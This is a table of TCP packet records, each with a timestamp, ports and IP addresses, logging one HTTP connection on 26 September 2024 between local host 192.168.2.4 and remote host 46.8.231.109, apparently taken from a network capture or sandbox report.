Sep 26, 2024 19:05:16.322236061 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.322292089 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.322315931 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.322412968 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.322846889 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.322868109 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.322891951 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.322899103 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.322912931 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.322921038 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.322932959 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.322942019 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.322962999 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.322984934 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.323893070 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.323949099 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.323977947 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.324002981 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.324026108 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.324047089 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.324265003 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.324285984 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.324321032 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.324325085 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.324351072 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.324351072 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.324372053 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.324398994 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.325026989 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.325051069 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.325079918 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.325098038 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.325403929 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.325423956 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.325455904 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.325458050 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.325479031 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.325481892 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.325498104 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.325504065 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.325524092 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.325541019 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.326277018 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.326304913 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.326328993 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.326349020 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.326354027 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.326375008 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.326399088 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.326416016 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.326905012 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.326925993 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.326950073 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.326958895 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.326975107 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.326976061 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.326993942 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.326999903 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.327024937 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.327042103 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.327733994 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.327758074 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.327779055 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.327790976 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.327806950 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.327811956 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.327830076 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.327835083 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.327851057 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.327868938 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.328567982 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.328645945 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.328660011 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.328682899 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.328742981 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.328788042 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.328807116 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.328850985 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.329128027 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.329185963 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.329209089 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.329248905 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.329272985 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.329324961 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.329355955 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.329397917 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.332462072 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.332526922 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.332611084 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.332634926 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.332665920 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.332684040 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.333127022 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.333151102 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.333178997 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.333182096 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.333200932 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.333210945 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.333221912 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.333247900 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.333796024 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.333817005 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.333848953 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.333865881 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.333878994 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.333890915 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.333923101 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.333946943 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.334548950 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.334604979 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.334614038 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.334676981 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.334695101 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.334758997 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.335859060 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.335915089 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.335994959 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.336039066 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.336047888 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.336085081 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.336267948 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.336283922 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.336311102 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.336333990 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.336333990 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.336359024 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.336786032 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.336817980 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.336849928 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.336903095 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.336977005 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.336999893 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.337027073 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.337032080 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.337054968 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.337071896 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.380059958 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.392205000 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.562684059 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.562771082 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.562804937 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.562835932 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.562835932 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.562901020 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.562947989 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.563023090 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.563030005 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.563076973 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.563097954 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.563148022 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.563318968 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.563374043 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.563421011 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.563479900 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.563529968 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.563597918 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.563611984 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.563663006 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.563676119 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.563741922 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.564246893 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.564320087 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.564330101 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.564378023 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.564398050 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.564436913 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.564441919 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.564510107 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.564816952 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.564877033 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.564888000 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.564922094 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.564933062 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.564943075 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.564970970 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.564976931 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.565023899 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.565027952 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.565068960 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.565907001 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.565972090 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.565975904 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.566019058 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.566047907 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.566088915 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.566112041 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.566174030 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.566195011 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.566246986 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.566277981 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.566335917 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.566873074 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.566951036 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.566952944 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.566996098 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.567018986 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.567069054 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.567082882 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.567146063 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.567166090 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.567229986 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.567837000 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.567893982 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.567894936 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.567909956 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.567929983 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.567940950 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.567950010 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.567967892 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.568001986 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.568006992 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.568049908 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.569365025 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.569403887 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.569422960 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.569443941 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.569508076 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.569560051 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.569562912 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.569622040 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.569658995 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.569711924 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.571644068 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.571696043 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.571710110 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.571722031 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.571763992 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.571796894 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.571815968 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.571829081 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.571849108 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.571883917 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.571890116 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.571896076 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.571902037 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.571933031 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.571945906 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.571949959 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.571981907 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.572002888 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.572009087 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.572026968 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.572031021 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.572073936 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.572088957 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.572108030 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.572132111 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.572139978 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.572185040 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.572897911 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.572957993 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.573080063 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.573101044 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.573129892 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.573137999 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.573153019 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.573163033 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.573188066 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.573215008 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.574187040 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.574213028 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.574239969 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.574245930 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.574265003 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.574270010 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.574295044 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.574301004 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.574321985 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.574321985 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.574345112 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.574371099 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.574677944 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.574696064 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.574722052 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.574733973 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.574754953 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.574758053 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.574780941 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.574783087 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.574811935 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.574819088 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.574835062 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.574867964 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.575664043 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.575687885 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.575719118 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.575725079 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.575748920 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.575757027 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.575766087 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.575809956 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.576088905 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.577413082 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.577435017 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.577476025 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.577476025 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.577497005 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.577514887 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.577522993 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.577543020 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.577578068 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.577601910 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.577646017 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.577939987 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.577991962 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.578003883 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.578028917 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.578044891 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.578083038 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.578138113 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.578138113 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.578139067 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.578191042 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.578917980 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.578977108 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.578984022 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.579030037 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.579039097 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.579097986 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.579121113 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.579170942 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.579184055 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.579236031 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.579247952 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.579310894 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.579637051 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.579689026 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.579694986 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.579740047 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.579749107 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.579783916 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.579785109 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.579823971 CEST	80	49735	46.8.231.109	192.168.2.4
